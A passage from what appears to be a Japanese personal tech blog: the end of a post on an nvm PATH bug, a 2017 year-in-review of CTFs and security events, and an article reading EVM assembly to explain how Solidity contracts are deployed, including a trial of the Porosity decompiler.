# Change current version PATH="$(nvm_change_path "$PATH" "/bin" "$NVM_VERSION_DIR")"
nvm_change_path() { # if there’s no initial path, just return the supplementary path if [ -z "${1-}" ]; then nvm_echo "${3-}${2-}" # if the initial path doesn’t contain an nvm path, prepend the supplementary # path elif ! nvm_echo "${1-}" | nvm_grep -q "${NVM_DIR}/[^/]*${2-}" \ && ! nvm_echo "${1-}" | nvm_grep -q "${NVM_DIR}/versions/[^/]*/[^/]*${2-}"; then nvm_echo "${3-}${2-}:${1-}" # use sed to replace the existing nvm path with the supplementary path. This # preserves the order of the path. else nvm_echo "${1-}" | command sed \ -e "s#${NVM_DIR}/[^/]*${2-}[^:]*#${3-}${2-}#g" \ -e "s#${NVM_DIR}/versions/[^/]*/[^/]*${2-}[^:]*#${3-}${2-}#g" fi }
nvm_strip_path
ではなく nvm_change_path
を使っています.これも同様に,sedの1行目に当てはまってしまっていたのでパスが消えていたという事でした.
まとめ
結局 NVM_CD_FLAGS
がなぜ必要なのかわからず,バグなのかどうかもわからずじまいでした.issueでも立てたほうがいいんですかね....
NVM_DIR
を正しく設定しましょうという話でした.
2017年を振り返る
去年も1年を振り返る記事を書いた.
これが意外とその時期に何をやっていたのかわかったりして便利だったので,今年も1年の振り返りを書いておこうと思う.
去年みたいに携帯の画像欄を漁っていく.
1月
アセンブラ短歌
新年なにをやっていたか見てみたら,アセンブラ短歌を勉強していた.バイト先の勉強会でやろうと思っていろいろ試行錯誤していた時期.限られたバイト数でアセンブリを書く技術はCTFでシェルコードを書いた時に役に立ったし,なによりアセンブラ短歌という文化が面白いので,オススメ.
ノートPCのメモリ増設
今ではもう使っていないPCだけど,この時メモリもっと欲しいなぁと思って増設していた.結果的に快適環境になったし,買ってよかった.
2月
絵ろうそく祭り
会津では毎年2月に絵ろうそく祭りというのが開催される.多くの絵ろうそくが鶴ヶ城に設置されてめっちゃ綺麗なんだけど,これのバイトをやることになって,鎧を着て観光客と写真撮影するっていう仕事を友達と一緒にやっていた.足周りがくそ寒くて,辛かった覚えがある.
双葉杏を描いた
双葉杏が可愛いので,描いた.模写じゃなくてオリジナルのポーズでキャラクターを描くのは初めてで苦戦してた.
後から細かく見直すと修正したくなるところが多々でてくるので,あまり直視しないようにしていたりする.
3月
FUKUSHIMA Hackathon 2017 セキュリティ部門
fukushimahackathon2017.peatix.com
セキュリティ部門で参加した.このハッカソンはバイト先が開催しているやつで,参加者として出れることになったのでセキュリティ部門で脆弱性を探していた.圧倒的技術力不足でほとんどなにもできなかったけど,参加者に某有名CTFチームの人や某セキュリティベンダーのメンバーで構成されたチームが出ていたり,プロの凄さに圧倒された.
ThinkPad X1 Carbon を買った
今年一番,いや過去最高の買い物かもしれない.入学当時から使っていたPCが物理的な限界を迎えていて,スペックがもっといいPCが欲しいなぁと思っていたので思い切って購入した.確か18万ぐらいで,親に12万借りて一括で買った.その12万は今でも返済していて,終わるのは来年の4月頃になりそう.
X1 Carbon よい.
4月
新入生LT
バイト先が開催している新入生LT.自分は,ノートPCのWebカメラは必要ない時以外は塞いでセキュリティ意識高めましょうみたいな話をした.Kaliを使ってデモをしようとしていたが,会場のネットワークがゴミで結局できなかったのを覚えている.
応用情報技術者試験
午後の点数が27点も足りなくて落ちる.FEの時もそうだったけど,3週間前くらいになってからノロノロ始めて焦るやつをまたやってしまって,FEみたいにいけるやろとか思ってたら甘かった....秋にまた受けた.
5月
モーニング娘。'17ライブ in 仙台
画像は帰りに食べた牛タン.さすが仙台というだけあって,今まで食べた牛タンの中で一番美味かった.誘われてライブに行くことになったけど,メンバーの中の「工藤遥」って子可愛いなぁぐらいにしか思ってなかった.
だけど実際にライブが始まってみるとモーニング娘。半端ない.めっちゃかっこよくて女性ファンが多い理由もわかった.リアル工藤遥を遠目だけど目にしてしまい,ハマることになる.
セキュリティキャンプ全国大会2017の応募用紙
5月はなんといってもこれ.1ヵ月丸々費やしていて,GWで帰省した実家でも大学でも自宅でも,ひたすら応募用紙を書いていた.応募できるのは年齢的に最初で最後だし,異常なほど時間を費やしていて,毎日頭から離れなかった.
最初は,共通問題を埋めながら選択問題のA-4を進めていた.そしてその後A-6に1週間かけて取り組み,PEファイルをパースするプログラムをCで書いた.最後に残しておいたA-5がかなり難しくて,上に貼った画像がそれなんだけど,わからないことが多すぎて辛かった.けど,調べて実践しての繰り返しで試行錯誤しまくり,その過程を応募用紙で熱く語った.文字数的には5万字オーバーで作文用紙100枚以上書いていたわけで,今振り返ると異常.
6月
地元の風景を描いた
地元の風景をモチーフに,絵を描いた.友達が描いた絵とか見ると自分の絵の雑さや粗さが目立つので,もっと綺麗に描けるようになったらなぁとか思ったりはする.これ以来絵を描いていなくて引退しつつあるが,描きたいと思ったときに描くのがちょうどいいのかも.
セキュリティキャンプ合格通知
合格した!!!!!!!!!!!!!!
確かメールが来たのは大学で講義を受けているときで,嬉しすぎて講義の内容とか1ミリも入ってこなかった.一緒に応募していた友人も受かっていて,最高だった.
7月
逆求人イベント(渋谷)
初めての逆求人イベント.よね君に紹介されて渋谷へ.画像は渋谷で朝に食べたオシャレパンケーキ.
参加したことない身としては,あ~逆求人とか最近よく聞くね~ってぐらいの感覚で,具体的にどんなことをやっているのか全く知らなかった.参加してみるといろんな企業の人事やエンジニアと話せて自分のアピールができて,またそれに対するアドバイスを貰えるので,自己分析とかしたことがなかった自分としては,客観的な意見はとても貴重だったし,1度は参加したほうがいいと思うイベントだった.
エフスタ!!勉強会&東北情報セキュリティ勉強会
猪俣さんの話ではRSAの話はサイドチャネル攻撃の話があり,また法林さんからはコミュニティの運営側の話を聞くことができ,勉強になった.郡山で開かれたのも良くて,交通費が東京ほどかからないので,是非もっといろんなイベントを開催してほしい.
8月
SECCON2017 x CEDEC CHALLENGE
大学院の先輩含めた3人で wabisabi from ISM というチームを組み,参加した.序盤は順調だったけど,本題であるゲームアプリの解析は難航していて,簡単なチートしかできなかったのが悔やまれる.それでも6位とかで,参加したチームは40以上いたらしいので,意外と順位は上のほうだったっぽい.キャンプが始まって時間が取れなかったので,最終日に解析結果を先輩に丸投げしてスライド作成をお願いしてしまったので,来年はもっと計画的にやりたい.
セキュリティキャンプ全国大会2017
キャンプどうだった?と聞かれるとき,毎回決まって「人生が変わるキャンプ」と雑に応えてるけど当然嘘は言ってなくて,本当にそれぐらいすごいイベントで,一言で言い表すなんてできない.参加者は技術的にずば抜けた人や頭がキレる人とか,人としてスペック高いやろみたいな人達ばかりで,圧倒された.もっともっと成長していきたい.
株式会社ラック インターン
マルウェア解析をした.それとJSOCを見学させて貰えて,とても綺麗だった.
下手なことは書けないためか,文章が出てこない.
Katagaitai CTF 勉強会
恒例のKatagaitai勉強会.ReversingとWebをやって,Reversingはbataさんが担当で Hack.lu CTF 2012 Reversing 500 DonnBeach をやった.ついていくのに必死で難しかった.セキュキャン勢と早めの再開を果たし,一緒にご飯食べたりした.午後はWebでやぎはしゅさんが担当.ひたすらXSSしていた.
9月
男10人で車を借りて富士急へ
大規模遠征.静岡の旅館に泊まってから富士急へ.富士急は初めてでワクワクしながら行ったんだけど,アトラクション系が全部乗り物酔いの要素が含まれていて辛かった.特にトンデミーナとかいうアトラクションは面白要素無いし,ただひたすらに酔わされて,人生最悪な乗り物だった.でも絶叫系は普通に楽しかったし,最後に高飛車に乗るかどうかで渋って,結局乗ってみたら綺麗な夜景をみることができて最高だった.次の大規模遠征はどこになるだろう.
SECCON Beginners 2017 仙台
CTF初心者ではないけどWebを全く知らなかったり,他にも参加したい理由があって仙台へ.ステッカーが貰えたので早速貼ったりした.
10月
応用情報技術者試験 再び
再びの受験.今度は前回受けた時の知識が貯金として脳内にあるだろうと思って,残り3週間切ったときから勉強を始めた.当日は午前はまぁまぁ,午後は30分ぐらい余ったりして合格を確信するぐらいは手応えがあった.結果受かってたので,早く奨励金の2万円が欲しい.
11月
A(izu)LT 0x09
www.slideshare.net
「シェルを起動するまほうのことば」で発表した.他の発表者のレベルが高くてビビった.
仙台CTF 2017
仙台でフォレンジックの講義を含めたCTFがあるということで,参加した.参加者は30人弱ぐらい.Beginnersみたいな感じで,講義と個人戦のCTFがセットになっていた.Top3にはトロフィーなどがあって,少しはやっているんだし取れるっしょとか思って挑んだら,後半で失速してしまい,8位という悔やまれる結果に.Webの問題は1問目がわからないと,それ以降の問題が解けないようになっていて,1問目がわからずタイムアップ.解答は id:admin
, password:admin
で入れちゃうということで, id:admin
でSQLインジェクションを考えていた自分は「エスパー問題かよw」とか思ったけど,実際にそういう事例があるらしい.一緒に参加していたkobadlveは2位に入っていて流石だった.
Hardening 2017 Fes
バイト先が4年前に優勝しているらしく,また参加することになって社員さんに誘われて参加した.全力で競技に挑み,全力で観光し,本当に充実した4日間だった.まだまだ技術力不足なのを痛感.
人生で初めて4日連続で温泉に入るということを経験した.明石海峡大橋を見ながら入る露天風呂とか最高だったし,淡路島よい.
12月
SECCON 2017 Online予選
Qubic Rubeの印象が強すぎる.Web強いマンがいたら + あと1,2問解けていたらもしかしたら国内決勝には出れたっぽくて,悔しいので来年また参加する.
Advent Calendar
2つのAdvent Calendarに投稿した.
Google Home Mini が家にきた
バイト先のプレゼン大賞で,自分がやったアセンブラ短歌のやつとルービックキューブのプレゼン2つが同率1位になり,Google Home Mini を貰うことができた.まだ,天気とか音楽とかでしか使ってないので有効活用していきたい.
まとめ
大晦日1日で一気に書いたのでなにか抜けているイベントがありそうだけど,画像欄見る限りはこれぐらいっぽい.
今年は,"経験"というインプットを大量にできた年だったと思う.逆に言うと技術書とかをあまり読めてなくて,Webの情報からのインプットが多かったためにどうしても部分的なものになってしまい,体系的に学ぶということができていなかった.
だけど,成長という面で見たらかなりでかくて,ある程度経験を積むことで大局的な視点を持つことができたし,今自分に足りないものがなんなのかを見極めることができた.
去年のブログで,こうなったらいいなぁという目標っぽいのを書いたらその通りになったので今年も書いておくと,来年は経験より知識としてのインプットを増やしていきたい.当然アウトプットもしないと定着していかないと思うのでそちらも重視するけど,とにかく本を読もうと思った.それと,英語もどうにかしたい.最近話すにしても書くにしても,なにかと英語に触れる機会が多くなってきたので,英語力の向上が必要っぽい.
今年が充実しすぎていたので来年下がりそうで心配だけど,なんとかやっていきたい.
Smart ContractをデプロイするときにEVMで行われていること
この記事は Aizu Advent Calendar 2017 - Adventar 21日目の記事です.
前の人は id:ktr_0731 で,
次は id:slme9364 です.
はじめに
去年に引き続き2回目の参加ですが,今回は最近某所でEthereumを触ることがあり,その際疑問に思ったことを掘り下げていこうと思います.レイヤーが低めの話になります.
今回やること
Ethereumの内部でSmart Contractというものが使われていますが,これをブロックチェーン上へデプロイする時って基本的にはsolcでコンパイルしてからgethで
> eth.contract(abi).new({ from: ..... , data: ...... , gas: ..... })
とかでトランザクションを発行します.この時にdataに指定しているものってEVM bytecodeと呼ばれる16進数の列なわけで,大体こんな感じ
606060405260006001600061010...................................
になっていると思います.
また,他のユーザーに自身の作成したコントラクトを利用してもらうために、「コントラクトのアドレス」と「ABI」の2つ情報を伝えて初めて他のユーザーがデプロイされたコントラクトを使うことができるわけですが,実は利用者はコントラクトのコードに対して以下のようにアクセスすることができます.
> eth.getCode(コントラクトのアドレス) "0x606060405260006001600061010...................................
そこでふと思ったのが,デプロイされたEVM bytecodeをリバースエンジニアリングし,コンパイルされる前のSolidityで記述されたファイルまで戻すことはどこまで可能なのか?ということです.
と言っても,EVMで使われているアセンブリも知らない初心者がリバースエンジニアリングをしようとしても詰むだけなので,今回はコントラクトをデプロイするときの処理を中心に,EVMの中でなにが行われているのか,EVM assemblyを読むことで明らかにしていきたいと思います.コントラクトを書く言語は他にもあるらしいですが,今回はとりあえずSolidityでやります.
EVMで使われるデータ構造や命令について
まず,EVM内ではどのようなデータ構造が使われているのか,どのような命令(オペコード)が使われているのか,などを簡単に調べていきます.
Ethereumの仕様書でYellow Paperと呼ばれるものや,あとはEthereumのwikiとかが参考になります.
まずデータ構造ですが,各命令はデータを保存するために以下の3つの領域を使います.
- stack
- memory
- storage
stack
は普通のスタックだったので省略し, memory
は「無限に拡張可能なバイト配列」です.storage
は stack
や
memory
と違い,長い期間存続するkey/valueストアです.
また,内部で使われている命令ですが,これは Yellow Paperの23ページに全て載っているので割愛します.
やってみる
まずは以下のようなSmart Contractから始めていきます.
pragma solidity ^0.4.0; contract HelloWorld { }
なにもしない空のコントラクトです.これを,以下のようにアセンブリを出力するようにして,読んでいきます.
$ solc --optimize --asm HelloWorld.sol > HelloWorld.sol.dis
======= HelloWorld.sol:HelloWorld ======= EVM assembly: /* "HelloWorld.sol":25:48 contract HelloWorld {... */ mstore(0x40, 0x60) jumpi(tag_1, iszero(callvalue)) 0x0 dup1 revert tag_1: dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop sub_0: assembly { /* "HelloWorld.sol":25:48 contract HelloWorld {... */ mstore(0x40, 0x60) 0x0 dup1 revert auxdata: 0xa165627a7a72305820a6b4f23e09acc57a4a971849c21344d45e014c2944a13821c5804492f1c50c720029 }
また,比較のために以下のようなコントラクトも用意します.
pragma solidity ^0.4.0; contract HelloWorld { uint data; function HelloWorld() { data = 0xdeadbeef; } }
これもアセンブリを出力してみます.
======= HelloWorld2.sol:HelloWorld ======= EVM assembly: /* "HelloWorld2.sol":25:115 contract HelloWorld {... */ mstore(0x40, 0x60) /* "HelloWorld2.sol":63:113 function HelloWorld() {... */ jumpi(tag_1, iszero(callvalue)) 0x0 dup1 revert tag_1: /* "HelloWorld2.sol":98:108 0xdeadbeef */ 0xdeadbeef /* "HelloWorld2.sol":91:95 data */ 0x0 /* "HelloWorld2.sol":91:108 data = 0xdeadbeef */ sstore /* "HelloWorld2.sol":25:115 contract HelloWorld {... */ dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop sub_0: assembly { /* "HelloWorld2.sol":25:115 contract HelloWorld {... */ mstore(0x40, 0x60) 0x0 dup1 revert auxdata: 0xa165627a7a7230582008092ae2364624e84432682e083b5c6bad044762c66a05fae7e553e4ce9258460029 }
一番最初のコントラクトを Hello World1
,コンストラクタで0xdeadbeef
を代入するほうを Hello World2
とすると,2では
/* "HelloWorld2.sol":98:108 0xdeadbeef */ 0xdeadbeef /* "HelloWorld2.sol":91:95 data */ 0x0 /* "HelloWorld2.sol":91:108 data = 0xdeadbeef */ sstore
このような命令が追加されていて,これが
function HelloWorld() { data = 0xdeadbeef; }
この部分にあたります. sstore
という見慣れない命令がありますが,これがどういう命令なのかをYellow Paperで調べてみると Save word to storage.
と書かれていました.つまり,この処理ではkey/valueストアであるstorageに 0x0
をkeyとして 0xdeadbeef
(正しくは0xdeadbeefを32byteに拡張したもの)を保存しているということになります.
また,0xdeadbeef
や 0x0
と値だけ書かれているのはpush命令が省略されて書かれていて,実際にEVM bytecodeを見てみるとこの処理は
63deadbeef600055
このようなバイト列になっています.63が push4
にあたるので, 63deadbeef
で push4 0xdeadbeef
, 60が push1
なので 6000
で push1 0x00
になり,最後の55が sstore
です.
これを見るとEVMではビッグエンディアンが使われているということもわかります.
コンストラクタ以外の部分について
コンストラクタの data = 0xdeadbeef
にあたる命令は
0xdeadbeef 0x0 sstore
であり, sstore(0x0, 0xdeadbeef)
であることはわかったものの,他の大部分のコードは未だ謎です.これらは一体なんなのでしょうか.そもそも,EVM bytecodeをデプロイしてそれがEVM上で実行されるためには,デプロイするコード(EVM上へ登録するためのコード)が必要なはずです.コンストラクタが存在しているということ以外は Hello World1
とHello World2
に違いはないので,その他のコードはデプロイするために必要なコードである可能性が高いです.
ということで,上から命令を地道に追っていきます.以下では Hello World1
(なにもしないコントラクト)を使っていきます.
コントラクトがデプロイされる処理を追う
EVM assembly: /* "HelloWorld.sol":25:48 contract HelloWorld {... */ mstore(0x40, 0x60)
まずは mstore(0x40, 0x60)
という命令から始まっています. mstore
は Save word to memory.
であり,この場合 0x40
の場所に 0x60
(正確には0x60を32byteに拡張したもの)を保存するという命令になります.実際にどのような実装になっているのか,go-ethereumを見てみます.
go-ethereum/core/vm/instructions.go
の493行目にあります.
func opMstore(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { // pop value of the stack mStart, val := stack.pop(), stack.pop() memory.Set(mStart.Uint64(), 32, math.PaddedBigBytes(val, 32)) evm.interpreter.intPool.put(mStart, val) return nil, nil }
mstore
を呼ぶときのstackの状態は
0x40 +-+-+ 0x60 +-+-+
このようになっていて,1回目の stack.pop()
で 0x40
が mStart
に入り2回目の stack.pop()
で 0x60
が val
に入ります.その後memoryに保存するのですが,その際 math.PaddedBigBytes
を使って val
を32byte拡張しています.そして, go-ethereum/core/vm/memory.go
の32行目のSet
func (m *Memory) Set(offset, size uint64, value []byte) { // length of store may never be less than offset + size. // The store should be resized PRIOR to setting the memory if size > uint64(len(m.store)) { panic("INVALID memory: store empty") } // It's possible the offset is greater than 0 and size equals 0. This is because // the calcMemSize (common.go) could potentially return 0 when size is zero (NO-OP) if size > 0 { copy(m.store[offset:offset+size], value) } }
これが呼ばれ,最終的に copy(m.store[offset:offset+size], value)
でstoreされるという処理になっています.
次ですが,
jumpi(tag_1, iszero(callvalue))
jumpi
や iszero
, callvalue
など見慣れない命令が出てきました.
jumpi
は Conditionally alter the program counter
と書かれていて要するに条件分岐命令であり,その後の説明を見る限り第2引数が0でなければ第1引数へ飛ぶ命令っぽいです.また, iszero
はスタックから1つpopして0であれば1,そうでないなら0をスタックへpushする命令です.では callvalue
がなんなのかですが,正直よくわかってません.実際のコードは以下のようになっているのですが,
func opCallValue(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { stack.push(evm.interpreter.intPool.get().Set(contract.value)) return nil, nil }
contract.value
がなにを指すのかがわからず...とにかくこの値が0になっていないと iszero
により1がセットされないので,0であるべき値なのは確かなのですが...
では次に,tag_1へ飛んだ先の処理を追っていきます.
tag_1: dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop
まず, dataSize(sub_0)
ですがこれば実際のバイト列を見てみると 6035
のようになっていて,今回の場合は push1 0x35
だということがわかります.この 0x35
って何かというと sub_0
でラベル付けされたルーチンのバイト数であり,つまりここでは sub_0
のサイズがstackへpushされているということになります.次の dup1
ですが,これは Duplicate 1st stack item.
と説明がある通りstackの1番目の要素を複製します.ここでは,現在stackへ積まれている 0x35
が複製されるということです.
次に, dataOffset(sub_0)
ですがこれも実際のバイト列を見てみると 601b
のようになっていて, push1 0x1b
だということがわかります.この 0x1b
は先頭から sub_0
までのオフセットを指していて,このオフセットをstackへ積んでいます.その後 0x0
をpushして codecopy
を実行するわけですが,この時のstackの状態を整理してみると以下のようになっています.
0x0 +-+-+ 0x1b +-+-+ 0x35 +-+-+ 0x35 +-+-+
この状態で codecopy
を呼ぶとどのように実行されていくのか, go-ethereum/core/vm/instructions.go
の408行目を見ていきます.
func opCodeCopy(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { var ( memOffset = stack.pop() codeOffset = stack.pop() length = stack.pop() ) codeCopy := getDataBig(contract.Code, codeOffset, length) memory.Set(memOffset.Uint64(), length.Uint64(), codeCopy) evm.interpreter.intPool.put(memOffset, codeOffset, length) return nil, nil }
今回の場合, memOffset
に 0x0
が入り, codeOffset
に 0x1b
, length
に 0x35
が入ります.そして, getDataBig
での結果が codeCopy
に入るわけですが, getDataBig
は go-ethereum/core/vm/common.go
で宣言されていて
// getDataBig returns a slice from the data based on the start and size and pads // up to size with zero's. This function is overflow safe. func getDataBig(data []byte, start *big.Int, size *big.Int) []byte { dlen := big.NewInt(int64(len(data))) s := math.BigMin(start, dlen) e := math.BigMin(new(big.Int).Add(s, size), dlen) return common.RightPadBytes(data[s.Uint64():e.Uint64()], int(size.Uint64())) }
スライスを返す関数だとわかります.つまり,コントラクト全体のコードから sub_0
にあたるコードだけを取り出してそれを返します.その後, memOffset
の位置 ( 0x0
)に sub_0
のコードを格納しています.
codecopy
の後は 0x0
をpushして return
ですが, これはメモリオフセットとサイズの2つの値をstackからpopし,memory.GetPtr
での返り値を返すような処理になっています.
func opReturn(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { offset, size := stack.pop(), stack.pop() ret := memory.GetPtr(offset.Int64(), size.Int64()) evm.interpreter.intPool.put(offset, size) return ret, nil }
memory.GetPtr
は以下です.
// GetPtr returns the offset + size func (self *Memory) GetPtr(offset, size int64) []byte { if size == 0 { return nil } if len(self.store) > int(offset) { return self.store[offset : offset+size] } return nil }
呼び出し元へ戻ってからも後は revert
しているぐらいなのですが, revert
の説明が Yellow Paper に無くて,このサイト で見つけたので,後から追加された命令なんでしょうか.
ここまで説明した処理がコントラクトをデプロイする処理にあたります.
evm --debugでコントラクトがデプロイされる処理を見てみる
恐らくethereumをインストールした際に一緒に入ってくるコマンドだと思うんですが, evm
というコマンドがあり,コマンドラインでいろいろできるやつです.
これを使うと任意のEVM bytecodeをコマンドライン上で実行してくれて, --debug
オプションを付けておくとstackやmemory,storageの情報を表示してくれるので,これを使って上記の処理を追うとさらにわかりやすいかと思います.では,今度は Hello World2
のコードを使っていきます.
$ evm --debug --code 60606040523415600e57600080fd5b63deadbeef60005560358060236000396000f3006060604052600080fd00a165627a7a723058201ccb8cf1608dcc548e886094db68d49551c88613cccdcfb5b89884e4028ae32f0029 run
上から順番に見ていきます.
現在のプログラムカウンタやgasの量,それぞれにかかるコストも表示してくれています.
なにをpushしているのか書かれていないのでわかり辛さもありますが, mstore
を実行する時には 0x40
と 0x60
がそれぞれ積まれているのがわかります.また, mstore
によって 0x40
の位置に 0x60
を32byte拡張したものが格納されるので,赤く丸をしたところに60という数字が現れています.jumpする直前まで飛ばします.
jumpi
が実行されるときには jump先のオフセットと iszero(callvalue)
の返り値である1がstackへ積まれています. jumpi
の次は jumpdest
となっていますが,このようにjumpする直前では実は Mark a valid destination for jumps. This operation has no effect on machine state during execution.
と説明が書かれている jumpdest
命令が実行されています.
tag_1へ移動してからは,まずコンストラクタの処理である「 0xdeadbeef
を data
に代入」があります.
sstore
によって,32byte拡張された0をkeyにvalueである32byte拡張された 0xdeadbeef
がstorageへと保存されているのがわかります.その後, codecopy
まで処理は進んでいき,
codecopy
が実行された直後のmemoryを見てみると, sub_0
のコードがmemoryへ展開されているのがわかります.
いくつかの疑問点
コントラクトをデプロイする過程を追ってきましたが,いくつか疑問が残っています.
mstore(0x40, 0x60)
とは何のためにあるのかsub_0
のラベルが付いているルーチンはなんなのかsub_0
に書かれているauxdata
とは
とりあえずこの3つについて書いていきます.
mstore(0x40, 0x60)について
まず, 0x40
というのは特別な場所らしく free memory pointer
という空きメモリへのポインタを保存しておく場所です.この命令から始まることで, 0x40
の位置に 0x60
という値を入れておき, 0x60
が空いているよと伝えることができます.また, 0x60
に mstore
を使って保存した値をもし保持しておきたい場合は free memory pointer
を他の値で更新し,次はその場所を使うようにしたりと,そんな風に使うっぽいです.
ですが,これって慣習として”そういう風に使う領域”と言われているだけで,書き込みが禁止されていたりとかはないんですよね.ですので,コントラクトの本体コードが大きいものをデプロイした場合,↑で見た処理の通り sub_0
がmemoryの 0x0
に保存されるので, 0x40
にある free memory pointer
はすぐ上書きされてしまうわけで.
結局よくわからなくなったので,もう少し調べてみる必要がありそうです.
sub_0のラベルが付いているルーチンについて
これは恐らく,コンストラクタ以外のコントラクトの関数が含まれる箇所で,例えば get
と set
だけのシンプルなコントラクトにした場合, get
と set
にあたる処理は sub_0
へ入ります.もう少し大きなコントラクトで試した場合も sub_?
というラベルは sub_0
しか出てくることはなかったので,自分はコンストラクタ以外の関数(処理),つまりコントラクトの本体が含まれる箇所だと解釈しています.
sub_0に書かれている auxdata とは
これはググっても本当に情報が出てこなくて,恐らく auxdata
という呼称を使っているのは Solidity なので,Solidity のソースコードを探ってみました.ちなみに auxdata
という言葉自体は auxiliary data
の略称であり,補助データという意味です.
solidity/libevmasm/Assembly.h
の158行目にこうありました.
/// Data that is appended to the very end of the contract.
bytes m_auxiliaryData;
説明は書かれておらず,コントラクトの最後に追加されるデータってそんなことわかっとんねんと思いながら他を探しました.
solidity/libsolidity/codegen/Compiler.cpp
の39行目.
m_runtimeContext.appendAuxiliaryData(_metadata);
とあり,この _metadata
は
void Compiler::compileContract( ContractDefinition const& _contract, std::map<const ContractDefinition*, eth::Assembly const*> const& _contracts, bytes const& _metadata ) { ..........................
この関数の引数として渡ってきます.結局 metadata
でしかないのはわかるんですが,これが何のためにあって,どういう使われ方をするのかはよくわかりませんでした.
auxdata: 0xa165627a7a7230582") == 0
コードのテストにはこのような1行もあり,決まったフォーマットであることもわかるのですが,正体が謎です.改ざんされていないか検証するための値とかでしょうか.
Porosityについて
今年のDEFCONでPorosityというEthereum Smart Contractsのデコンパイラが発表されました.なぜこんなリバースエンジニアリングツールが出てきたのかというと,そもそもSmart Contract自体に脆弱性が存在することがあるらしく,それを悪用して不正送金されたケースがあったとか.
で,セキュリティ対策としてコンパイルされる前のコードを静的解析するツールはあるものの,これは開発者がコードを提供することで初めて成り立つものです.セキュリティを意識しない開発者がそのままコンパイルしてブロックチェーン上へデプロイした場合はコードが安全であることを保証する方法が無く,もし新たに脆弱性が見つかった場合に開発者自信が元々のコードを保持・または共有していない限り,脆弱なコントラクトを特定するのは非常に難しくなります.
というような内容が書かれているPorosityを紹介しているサイトがあるので,詳しくはこちらをご覧ください.
ということで,このツールを少しだけ使ってみます.足りないパッケージがあったりしたので,インストール方法を載せておきます.
インストール ( Ubuntu16.04 )
$ git clone https://github.com/comaeio/porosity.git $ cd porosity $ sudo apt-get install libboost-all-dev $ cd porosity/porosity $ wget https://raw.githubusercontent.com/chriseth/solidity/0a2a2cf38b7794826a17efe44aea5dc96de98dc7/libdevcore/boost_multiprecision_number_compare_bug_workaround.hpp $ porosity.hの中の `#include "Common.h"` を `#include <boost/dynamic_bitset.hpp>` の上に移動 $ make
以下のようなコントラクトで試してみます.
pragma solidity ^0.4.0; contract Aizu { uint data; function set(uint input) public { data = input; } function get() public constant returns (uint) { return data; } }
実行.
$ abi=`cat output/Aizu.abi` $ code=`cat output/Aizu.bin` $ porosity --abi $abi --code $code --decompile --verbose 0
Porosity v0.1 (https://www.comae.io) Matt Suiche, Comae Technologies <support@comae.io> The Ethereum bytecode commandline decompiler. Decompiles the given Ethereum input bytecode and outputs the Solidity code. Attempting to parse ABI definition... Success. Hash: 0x60FE47B1 executeInstruction: NOT_IMPLEMENTED: REVERT function set(uint256) { if (!msg.value) { } store[var_LK0e1] = arg_4; return; } LOC: 6 Hash: 0x6D4CE63C executeInstruction: NOT_IMPLEMENTED: REVERT function get() { if (!msg.value) { } return; return; } LOC: 6
んー...どうなんですかね. set
は大体戻せていますが, get
は最後 return
が2つ出ていたりして怪しいです.GitHubを見てみるとサンプルでは自明な脆弱性があるところは教えてくれたりするらしいですが,まだまだ発展途上というところでしょうか.
まとめ
gethの使い方!とか基本的なセットアップとかの情報は日本語でも増えてきたものの,もっと深い実装寄りの話においては日本語の記事はほとんど存在していなくて,英語の記事もまとまっているものは少なくて部分的だったり,情報を探すのに本当に苦労しました. でも,情報がここまで多くない時代ってそれが当たり前で,皆さんいろいろ探りながらブログとかへまとめていったんだなぁと思うと本当に先人に感謝だし,自分ももっと情報をアウトプットするべきだなと感じました.
以上ですが,何か間違いなどあればご指摘お願いします.
参照
- https://ethereum.stackexchange.com/questions/2823/what-does-bytecode-of-blank-contract-do/2829
- https://lilymoana.github.io/evm_part5.html
- https://github.com/androlo/solidity-workshop/blob/master/tutorials/2016-03-09-advanced-solidity-I.md
- http://solidity.readthedocs.io/en/develop/miscellaneous.html
- https://ethereum.stackexchange.com/questions/9603/understanding-mload-assembly-function